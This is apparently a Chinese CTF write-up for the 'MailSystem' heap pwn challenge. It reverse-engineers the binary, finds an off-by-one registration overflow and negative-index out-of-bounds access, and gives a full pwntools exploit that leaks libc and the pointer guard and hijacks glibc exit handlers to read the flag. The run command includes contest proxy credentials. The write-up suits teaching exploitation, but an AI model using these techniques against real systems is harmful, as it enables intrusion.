2026中国高校智能机器人创意大赛-软件系统安全赛初赛 二进制方向题解 by YHalo

帮导师刷刷kpi来打打,很幸运还拿了1血,团队最后西南赛区总榜rk5,感谢大家一起并肩作战

MailSystem

查看保护,全开

Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    SHSTK:      Enabled
    IBT:        Enabled

沙箱,禁止了execve,后续可能需要orw

$ seccomp-tools dump ./pwn
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x06 0xc000003e  if (A != ARCH_X86_64) goto 0008
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 0004: 0x15 0x00 0x03 0xffffffff  if (A != 0xffffffff) goto 0008
 0005: 0x15 0x02 0x00 0x0000003b  if (A == execve) goto 0008
 0006: 0x15 0x01 0x00 0x00000142  if (A == execveat) goto 0008
 0007: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0008: 0x06 0x00 0x00 0x00000000  return KILL

这是一个菜单堆题,看下main函数:

void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  int v3; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v4; // [rsp+8h] [rbp-8h]
​
  v4 = __readfsqword(0x28u);                    // canary
  init(a1, a2, a3);
  while ( 1 )
  {
    while ( 1 )
    {
      menu();
      v3 = 0;
      if ( (unsigned int)__isoc99_scanf("%d", &v3) == 1 )
        break;
      while ( getchar() != 10 )
        ;
      puts("Invalid input!");
    }
    if ( v3 == 3 )
    {
      puts("Goodbye!");
      exit(0);
    }
    if ( v3 > 3 )
    {
LABEL_13:
      puts("Invalid choice!");
    }
    else if ( v3 == 1 )
    {
      login();
    }
    else
    {
      if ( v3 != 2 )
        goto LABEL_13;
      register();
    }
  }
}

简单逆一下init:

int init()
{
  char *v0; // rax
  int i; // [rsp+4h] [rbp-Ch]
  FILE *stream; // [rsp+8h] [rbp-8h]
​
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);
  sub_15D2();
  for ( i = 0; i <= 11; ++i )
    qword_70E0[34 * i] = time(0LL);
  qword_70C0 = malloc(0x400uLL);
  memset(qword_70C0, 0, 0x400uLL);
  if ( !qword_70C0 )
  {
    puts("malloc error");
    exit(-1);
  }
  v0 = (char *)qword_70C0 + 50;
  *(_DWORD *)((char *)qword_70C0 + 50) = 'imda';
  *((_WORD *)v0 + 2) = 110;
  stream = fopen("/dev/urandom", "rb");
  if ( !stream )
  {
    puts("fopen error");
    exit(-1);
  }
  fread((char *)qword_70C0 + 104, 1uLL, 16uLL, stream);
  return fclose(stream);
}

init 里会分配 qword_70C0 = malloc(0x400),然后写:

qword_70C0 + 0x32 (admin)

qword_70C0 + 0x68 (/dev/urandom) 读 16 字节

Welcome_admin0x1b9d)校验逻辑:

用户名:strcmp(input, qword_70C0+0x32)

密码:strncmp(input, qword_70C0+0x68, 0x10)

所以只要能改到 qword_70C0 指向内容,admin 登录就能被控

从user_register_malloc(sub_181B)中可知,一个用户的chunk分配的空间大小为0x410

__int64 __fastcall sub_181B(__int64 a1)
{
  int v2; // [rsp+14h] [rbp-Ch]
  int i; // [rsp+18h] [rbp-8h]
  int j; // [rsp+1Ch] [rbp-4h]
​
  v2 = 0;
  for ( i = 0; i <= 11; ++i )
  {
    if ( *(_QWORD *)(8LL * i + a1) && *(_QWORD *)(*(_QWORD *)(8LL * i + a1) + 632LL) )
      ++v2;
  }
  if ( v2 <= 7 )
  {
    for ( j = 0; ; ++j )
    {
      if ( j > 12 )                             // 用户注册上限为12个,但是好像可以扫到第13个
        return '\xFF\xFF\xFF\xFF';
      if ( !*(_QWORD *)(8LL * j + a1) || *(_QWORD *)(*(_QWORD *)(8LL * j + a1) + 904LL) != 1LL )
        break;
    }
    *(_QWORD *)(8LL * j + a1) = malloc(0x410uLL);
    memset(*(void **)(8LL * j + a1), 0, 0x410uLL);// 清零
    if ( !*(_QWORD *)(8LL * j + a1) )
    {
      perror("malloc failed");
      exit(-1);
    }
    *(_QWORD *)(*(_QWORD *)(8LL * j + a1) + 632LL) = j + 1;
    *(_QWORD *)(*(_QWORD *)(8LL * j + a1) + 904LL) = 1LL;
    return (unsigned int)j;
  }
  else
  {
    puts("User full!");
    return 0xFFFFFFFFLL;
  }
}

然后从写操作函数拿第一批偏移

sub_1C80(用户菜单里的写草稿):

memcpy((void *)(a1 + 272), buf, v3)说明草稿内容在+0x110

*(_QWORD *)(a1 + 256) = v3说明草稿长度在+0x100

*(_QWORD *)(a1 + 784) = 1说明 has_draft 在+0x310

mail_to_user0x28d7):

  • memcpy((void *)qword_7060[v2-1], s, v4) 说明 inbox 从 +0x0 开始
  • *(_QWORD *)(user + 528) = v4 说明 inbox_len 在 +0x210
  • *(_QWORD *)(user + 776) = 1 说明 has_unread 在 +0x308

register0x19e7):

strcpy(user + 664, username)可知username 在 +0x298

strcpy(user + 704, password)可知password 在 +0x2C0

login0x33a5)又用这两个偏移做 strcmp,再次确认没问题。

然后把数组下标换成真实偏移:

有些函数会写成 a1[79] 这种形式。这个要手算:

a1[79] -> 79 * 8 = 632 = 0x278(user_id)

a1[98] -> 98 * 8 = 784 = 0x310(has_draft)

a1[32] -> 32 * 8 = 256 = 0x100(draft_len)

接着补齐 uid / active 这两个管理字段

user_register_malloc0x181b)里直接写:

*(user + 632) = j+1 说明 uid 在 +0x278

*(user + 904) = 1 说明active 在 +0x388

最终得到的结构体关键偏移

`+0x000`: inbox 内容区(`mail_to_user` memcpy 目标)
`+0x100`: draft_len
`+0x110`: draft 内容区
`+0x210`: inbox_len
`+0x278`: user_id
`+0x298`: username
`+0x2C0`: password
`+0x308`: has_unread_mail
`+0x310`: has_draft
`+0x388`: active 标志

然后是定位漏洞点

首先是注册越界:user_register_malloc(sub_181B)里有个明显的边界问题:

计数活跃用户 v2,要求 v2 <= 7 才允许继续注册,而且找空槽循环写的是 for (j=0; ; ++j) if (j > 12) return -1;

也就是说它会访问 index = 12,但用户数组正常只有 12 个槽(0~11) qword_7060[12] 实际已经越界到后面的全局区,正好能覆盖 qword_70C0 相关数据

所以后续我们需要精心控制活跃用户小于等于7,然后把注册推进到第13个用户

第二个漏洞在于admin菜单的mail_user_to_user0x2cd6)对 src/dst 只检查了 > 12,没检查 <= 0

屏幕截图 2026-03-14 134922

输入负数后会进入 qword_7060[src-1] / qword_7060[dst-1],直接 OOB 访问

这一点可以拿来泄露libc的相关地址,还可以改写users数组槽里的指针,把发信改成任意地址读原语

关于sub_14290x1429)这个函数也有点意思,逻辑是 10 秒内同用户发信次数 > 4 就封号

__int64 __fastcall sub_1429(int a1)
{
  time_t v2; // [rsp+10h] [rbp-20h]
  time_t *v3; // [rsp+18h] [rbp-18h]
  _QWORD *v4; // [rsp+20h] [rbp-10h]
  FILE *stream; // [rsp+28h] [rbp-8h]
​
  v2 = time(0LL);
  v3 = &qword_70E0[34 * a1 - 34];
  if ( v2 - *v3 > 10 || *((int *)v3 + 2) <= 4 )
  {
    if ( v2 - *v3 > 10 )
    {
      *((_DWORD *)v3 + 2) = 0;
      *v3 = v2;
    }
    return 0LL;
  }
  else
  {
    printf("\x1B[1;31;40m[SECURITY] Risk detected for user %d! Account banned.\x1B[0m\n", a1);
    if ( a1 > 0 && a1 <= 12 && qword_7060[a1 - 1] )
    {
      v4 = (_QWORD *)qword_7060[a1 - 1];
      v4[83] = 'lagelli';
      stream = fopen("/dev/urandom", "rb");
      if ( stream )
      {
        fread(v4 + 88, 1uLL, 0x10uLL, stream);
        fclose(stream);
      }
      v4[79] = 0LL;
      puts("Account has been banned!");
      puts("Returning to login menu...\n");
    }
    return 1LL;
  }
}

封号后它会改用户名、随机密码、并强制退出到主菜单

这个风控可以拿来反向利用,故意触发封号来降低活跃用户数量,满足越界注册条件

然后就是构造利用链了

先拿 admin 控制

思路是:

  1. 先注册 u1,u2
  2. 触发若干用户封号,让活跃数保持在 7 以下
  3. 继续注册直到走到第 13 次注册(u13
  4. 越界写到 qword_70C0,把 admin 用户名和密码区清空

这样 login 时给 \x00 就能通过 Welcome_admin 走进 admin 菜单。

发 \x00\n 的效果是:
name 读出来首字节就是 \x00,在 C 里等价于空串
pass 也是空串
然后比较时:
strcmp("", "") == 0,用户名通过
strncmp("", "", 16) 在第一个字节就都是 \x00,直接返回 0,密码也通过

然后是泄露libc

admin_forward(-3, 12, 1) 这个组合去读 OOB 区域,最终在 u12 收件箱拿到一个 libc 指针 脚本里按固定偏移算 libc_base = leak - 0x21B803

再利用 dst=-10 这种负索引,改 users[1]/users[2] 的指针映射,把转发逻辑变成:

从任意地址读数据到 u12 inbox(arb_read

把任意数据写到任意地址(arb_write

这个过程本质是把用户结构体指针当成可控跳板

接着泄露 pointer guard

glibc 的 exit handler 函数指针是 mangling 的,不能直接写函数地址。 可以先从 TLS 位置读出 pointer_guard,然后按:

enc = rol64(real_ptr ^ guard, 17)

生成可用的加密函数指针

最后打 exit handler,走 ORW

  1. 在 libc .bss 伪造 __exit_funcs
  2. 伪造三段 setcontext 框架:open("./flag")readwrite
  3. 覆盖 __exit_funcs head(libc + 0x21A838
  4. 菜单选 exit 触发

最后 stdout 直接打印 flag

这道题的远程交互也挺恶心的

首先就是输出分包 + 延迟

Your choice: 有时会晚到,不能用太短的 recvrepeat(0.03) 赌运气 我后面改成了 recvuntil(多个候选提示符) + 可调超时

而且封号流程受网络 RTT 影响,10 秒窗口里发信次数不够就不会封 脚本里做了快速 burst + fallback 重试,才在远程跑稳

exp

import socket

from pwn import *

try:
    import socks
except ImportError:
    socks = None


BIN = "./pwn"
LD = "./ld-linux-x86-64.so.2"
LIBC = "./libc.so.6"

context.binary = BIN
context.log_level = "debug" if args.DEBUG else "info"

elf = ELF(BIN, checksec=False)
libc = ELF(LIBC, checksec=False)

PROMPT = b"Your choice: "
LEAK_USER = (b"u12", b"p12")


class Exploit:
    def __init__(self):
        self.peek_window = 0.03
        self.debug_steps = bool(args.DEBUG or args.TRACE)
        self.wait_prompt = float(args.WAIT or 8.0)
        self.ban_quiet = float(args.BAN_QUIET or 1.0)
        if args.REMOTE:
            host = args.HOST or "127.0.0.1"
            port = int(args.PORT or 9999)
            self.peek_window = float(args.PEEK or 0.4)
            if args.SOCKS_HOST:
                if socks is None:
                    raise RuntimeError(
                        "SOCKS mode requires PySocks. Install with: pip3 install pysocks"
                    )

                proxy_host = args.SOCKS_HOST
                proxy_port = int(args.SOCKS_PORT or 1080)
                proxy_user = args.SOCKS_USER if args.SOCKS_USER else None
                proxy_pass = args.SOCKS_PASS if args.SOCKS_PASS else None
                timeout = float(args.CONNECT_TIMEOUT or 8)

                log.info(
                    f"connecting to {host}:{port} via SOCKS5 {proxy_host}:{proxy_port}"
                )
                sock = socks.socksocket(socket.AF_INET, socket.SOCK_STREAM)
                sock.set_proxy(
                    socks.SOCKS5,
                    addr=proxy_host,
                    port=proxy_port,
                    username=proxy_user,
                    password=proxy_pass,
                )
                sock.settimeout(timeout)
                sock.connect((host, port))
                self.io = remote.fromsocket(sock)
            else:
                self.io = remote(host, port)
            if args.TICKET:
                self.io.sendline(args.TICKET.encode())
        else:
            self.io = process([LD, "--library-path", ".", BIN], cwd=".")
        if args.IO_TIMEOUT:
            self.io.timeout = float(args.IO_TIMEOUT)
        self.safe = None

    def trace(self, msg):
        if self.debug_steps:
            log.info(f"[trace] {msg}")

    @staticmethod
    def is_banned_transition(out):
        return (
            b"Risk detected for user" in out
            or b"Account has been banned!" in out
            or b"Returning to login menu" in out
            or b"Welcome to the mail system!" in out
        )

    def sync_prompt(self):
        self.trace("waiting for main prompt")
        self.io.recvuntil(PROMPT)
        self.io.unrecv(PROMPT)
        self.trace("main prompt ready")

    def ensure_prompt(self, out=b""):
        if PROMPT in out:
            self.io.unrecv(PROMPT)
        else:
            self.sync_prompt()

    def choose(self, n):
        self.trace(f"menu choose {n}")
        self.io.sendlineafter(PROMPT, str(n).encode())

    def register(self, user, password):
        self.trace(f"register user={user!r}")
        self.choose(2)
        self.io.sendlineafter(b"Input your name: ", user)
        self.io.sendlineafter(b"Input your password: ", password)
        self.sync_prompt()

    def login_user(self, user, password):
        self.trace(f"login user={user!r}")
        self.choose(1)
        self.io.sendlineafter(b"Input your name: ", user)
        self.io.sendlineafter(b"Input your password: ", password)
        self.sync_prompt()

    def login_admin(self):
        self.trace("login as admin via null credentials")
        self.choose(1)
        self.io.sendafter(b"Input your name: ", b"\x00\n")
        self.io.sendafter(b"Input your password: ", b"\x00\n")
        self.sync_prompt()

    def write_mail(self, data):
        self.trace(f"write_mail len={len(data)}")
        self.choose(1)
        self.io.sendlineafter(
            b"How many bytes do you want to write? (1-256): ",
            str(len(data)).encode(),
        )
        self.io.recvuntil(b" bytes):\n")
        self.io.send(data)
        self.sync_prompt()

    def send_mail(self, uid):
        self.trace(f"send_mail uid={uid}")
        self.choose(3)
        self.io.sendlineafter(
            b"Who do you want to send the mail to? (input user ID 1-12)",
            str(uid).encode(),
        )
        out = self.io.recvuntil((b"Overwrite? (y/n): ", PROMPT), timeout=self.wait_prompt)
        if b"Overwrite? (y/n): " in out:
            self.io.sendline(b"y")
            out += self.io.recvuntil(PROMPT, timeout=self.wait_prompt)
            if PROMPT in out:
                self.io.unrecv(PROMPT)
            else:
                self.ensure_prompt(out)
        else:
            self.ensure_prompt(out)
        return self.is_banned_transition(out)

    def admin_forward(self, src, dst, which):
        self.trace(f"admin_forward src={src} dst={dst} which={which}")
        self.choose(4)
        self.io.sendlineafter(
            b"Enter source user ID (whose mail to forward): (1-12) ",
            str(src).encode(),
        )
        self.io.sendlineafter(
            b"Enter destination user ID (1-12): ",
            str(dst).encode(),
        )
        out = self.io.recvuntil(
            (b"Overwrite? (y/n): ", b"Which mail would you like to forward?", PROMPT),
            timeout=self.wait_prompt,
        )
        if b"Overwrite? (y/n): " in out:
            self.io.sendline(b"y")
            out += self.io.recvuntil(
                (b"Which mail would you like to forward?", PROMPT),
                timeout=self.wait_prompt,
            )
        if b"Which mail would you like to forward?" not in out:
            self.ensure_prompt(out)
            return
        self.io.sendline(str(which).encode())
        self.sync_prompt()

    def admin_logout(self):
        self.trace("admin logout")
        self.choose(5)
        self.sync_prompt()

    def user_logout(self):
        self.trace("user logout")
        self.choose(4)
        self.sync_prompt()

    def read_inbox_bytes(self):
        self.trace("read_inbox_bytes")
        self.choose(2)
        self.sync_prompt()
        self.choose(2)
        out = self.io.recvuntil(PROMPT)
        self.io.unrecv(PROMPT)
        self.choose(3)
        self.sync_prompt()

        start = out.find(b"Inbox (new mail):\n")
        if start == -1:
            return b""
        start += len(b"Inbox (new mail):\n")
        end = out.find(b"\n\nWhat would you like to read?")
        if end == -1:
            end = len(out)
        return out[start:end]

    def ban_user(self, uid, helper):
        self.trace(f"ban_user uid={uid} helper={helper} start")
        self.login_user(f"u{uid}".encode(), f"p{uid}".encode())
        self.io.recvuntil(PROMPT)
        helper_bytes = str(helper).encode()

        burst = bytearray()
        for i in range(5):
            burst += b"1\n1\nA3\n" + helper_bytes + b"\n"
            if 1 <= i <= 3:
                burst += b"y\n"
        self.io.send(bytes(burst))
        out = self.io.recvrepeat(self.ban_quiet)

        if b"Overwrite? (y/n): " in out:
            self.io.sendline(b"y")
            out += self.io.recvrepeat(self.ban_quiet)

        if self.is_banned_transition(out):
            self.ensure_prompt(out)
            self.trace(f"ban_user uid={uid} done")
            return

        self.ensure_prompt(out)
        for i in range(1, 7):
            self.trace(f"ban_user uid={uid} fallback iteration={i}/6")
            self.write_mail(b"A")
            if self.send_mail(helper):
                self.trace(f"ban_user uid={uid} done")
                return

        raise RuntimeError(f"ban_user {uid} did not trigger")

    def bootstrap_admin(self):
        self.trace("bootstrap_admin start")
        self.sync_prompt()
        self.register(b"u1", b"p1")
        self.register(b"u2", b"p2")
        for uid in range(1, 5):
            log.info(f"[progress] bootstrap early-ban uid={uid}/4")
            self.ban_user(uid, uid + 1)
            self.register(f"u{uid + 2}".encode(), f"p{uid + 2}".encode())
        for uid in range(7, 13):
            log.info(f"[progress] bootstrap fill user u{uid}")
            self.register(f"u{uid}".encode(), f"p{uid}".encode())
        log.info("[progress] bootstrap final-ban uid=5")
        self.ban_user(5, 6)
        log.info("[progress] bootstrap trigger oob register u13")
        self.register(b"u13", b"p13")

        self.login_admin()
        self.trace("bootstrap_admin done")

    def leak_libc(self):
        self.admin_forward(-3, 12, 1)
        self.admin_logout()
        self.login_user(*LEAK_USER)
        data = self.read_inbox_bytes()
        self.user_logout()
        self.login_admin()
        leak = u64(data.ljust(8, b"\x00"))
        libc.address = leak - 0x21B803
        self.safe = libc.bss(0x2000)
        return libc.address

    def prep_leak_user_draft(self, data):
        self.admin_logout()
        self.login_user(*LEAK_USER)
        self.write_mail(data)
        self.user_logout()
        self.login_admin()

    def pivot_users(self):
        self.prep_leak_user_draft(b"\x60")
        self.admin_forward(12, -10, 1)

    @staticmethod
    def make_slot12_payload(slot1, slot2):
        return p64(slot1) + p64(slot2)

    def store_inbox_from_u12(self, slot, payload):
        self.prep_leak_user_draft(payload)
        self.admin_forward(12, slot, 1)

    def restore_slots12(self):
        self.admin_forward(3, -10, 2)

    def arb_read(self, addr, size, force_len=None):
        if size > 0x100:
            raise ValueError("arb_read size too large")
        self.store_inbox_from_u12(3, self.make_slot12_payload(self.safe, self.safe))
        slot1 = self.safe if force_len is None else addr - 0x10
        self.store_inbox_from_u12(4, self.make_slot12_payload(slot1, addr - 0x110))
        if force_len is not None:
            self.store_inbox_from_u12(5, p64(force_len))

        self.admin_forward(4, -10, 2)
        if force_len is not None:
            self.admin_forward(5, 1, 2)
        self.admin_forward(2, 12, 1)
        self.restore_slots12()

        self.admin_logout()
        self.login_user(*LEAK_USER)
        data = self.read_inbox_bytes()[:size]
        self.user_logout()
        self.login_admin()
        return data

    def arb_write_large(self, addr, data):
        off = 0
        while off < len(data):
            chunk = data[off : off + 0x100]
            self.arb_write(addr + off, chunk)
            off += len(chunk)

    def arb_write(self, addr, data):
        if len(data) > 0x100:
            raise ValueError("arb_write chunk too large")
        self.store_inbox_from_u12(3, self.make_slot12_payload(self.safe, self.safe))
        self.store_inbox_from_u12(4, self.make_slot12_payload(addr, self.safe))
        self.store_inbox_from_u12(5, data)

        self.admin_forward(4, -10, 2)
        self.admin_forward(5, 1, 2)
        self.restore_slots12()


def rol64(x, bits):
    return ((x << bits) & ((1 << 64) - 1)) | (x >> (64 - bits))


def build_setcontext_frame(libc_base, fake_list, target, arg1, arg2, arg3, stack_ptr, fpstate_ptr):
    frame = bytearray(0x1D0)
    frame[0x68:0x70] = p64(arg1)
    frame[0x70:0x78] = p64(arg2)
    frame[0x88:0x90] = p64(arg3)
    frame[0xA0:0xA8] = p64(stack_ptr)
    frame[0xA8:0xB0] = p64(target)
    frame[0x78:0x80] = p64(0)
    frame[0x80:0x88] = p64(0)
    frame[0x48:0x50] = p64(libc_base + 0x21A838)
    frame[0x50:0x58] = p64(0)
    frame[0x58:0x60] = p64(libc_base + 0x21BEE8)
    frame[0x60:0x68] = p64(fake_list)

    frame[0xE0:0xE8] = p64(fpstate_ptr)
    frame[0x1C0:0x1C4] = p32(0x1F80)
    return bytes(frame)


def run_once():
    exp = Exploit()
    try:
        log.info("bootstrapping admin")
        exp.bootstrap_admin()
        libc_base = exp.leak_libc()
        log.success(f"libc base = {libc_base:#x}")

        log.info("pivoting self pointer to users[]")
        exp.pivot_users()
        log.success("pivoted to users[]")

        log.info("leaking pointer guard from thread-local storage")
        guard_data = exp.arb_read(libc.address - 0x28C0 + 0x30, 8, force_len=8)
        if len(guard_data) < 8:
            raise RuntimeError("pointer guard leak truncated")
        guard = u64(guard_data)
        log.success(f"pointer guard = {guard:#x}")

        safe = exp.safe
        fake_list = safe + 0x900
        ctx_open = safe + 0xA00
        ctx_read = safe + 0xC00
        ctx_write = safe + 0xE00
        stack_slot = safe + 0x1000
        fpstate = safe + 0x1100
        path_addr = safe + 0x1200
        buf_addr = safe + 0x1300

        log.info("staging ORW data and setcontext frames in libc .bss")
        exp.arb_write(path_addr, b"./flag\x00")
        exp.arb_write(buf_addr, b"\x00" * 0x80)
        exp.arb_write(stack_slot, p64(libc.address + 0x45495))

        frame_open = build_setcontext_frame(
            libc.address,
            fake_list,
            libc.sym["open"],
            path_addr,
            0,
            0,
            stack_slot,
            fpstate,
        )
        frame_read = build_setcontext_frame(
            libc.address,
            fake_list,
            libc.sym["read"],
            3,
            buf_addr,
            0x60,
            stack_slot,
            fpstate,
        )
        frame_write = build_setcontext_frame(
            libc.address,
            fake_list,
            libc.sym["write"],
            1,
            buf_addr,
            0x60,
            stack_slot,
            fpstate,
        )
        exp.arb_write_large(ctx_open, frame_open)
        exp.arb_write_large(ctx_read, frame_read)
        exp.arb_write_large(ctx_write, frame_write)

        enc_setcontext = rol64(libc.sym["setcontext"] ^ guard, 17)
        entry_write = flat([4, enc_setcontext, ctx_write, 0])
        entry_read = flat([4, enc_setcontext, ctx_read, 0])
        entry_open = flat([4, enc_setcontext, ctx_open, 0])
        fake_blob = p64(0) + p64(3) + entry_write + entry_read + entry_open
        exp.arb_write_large(fake_list, fake_blob)

        log.info("overwriting __exit_funcs head")
        exp.arb_write(libc.address + 0x21A838, p64(fake_list))

        log.info("triggering exit-handler ORW chain")
        exp.admin_logout()
        exp.choose(3)
        out = exp.io.recvrepeat(2.0)
        print(out.rstrip(b"\x00").decode("latin-1", "ignore"))
    finally:
        exp.io.close()


def main():
    for attempt in range(1, 6):
        try:
            run_once()
            return
        except RuntimeError as e:
            msg = str(e)
            retryable = (
                msg == "pointer guard leak truncated"
                or msg.startswith("ban_user ")
            )
            if retryable and attempt < 5:
                log.warning(f"attempt {attempt}: {msg}, retrying")
                continue
            raise


if __name__ == "__main__":
    main()
timeout 900 python3 exploit.py TRACE IO_TIMEOUT=20 WAIT=12 BAN_QUIET=1.2 REMOTE HOST=192.0.100.2 PORT=9999 SOCKS_HOST=1.dart.ccsssc.com SOCKS_PORT=27440 SOCKS_USER=zhmt0zzn SOCKS_PASS=l3scqodt
屏幕截图 2026-03-14 130656

成功拿到flag:dart{8b16000a-7c0f-425b-ad94-a5df1f7c991c}

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇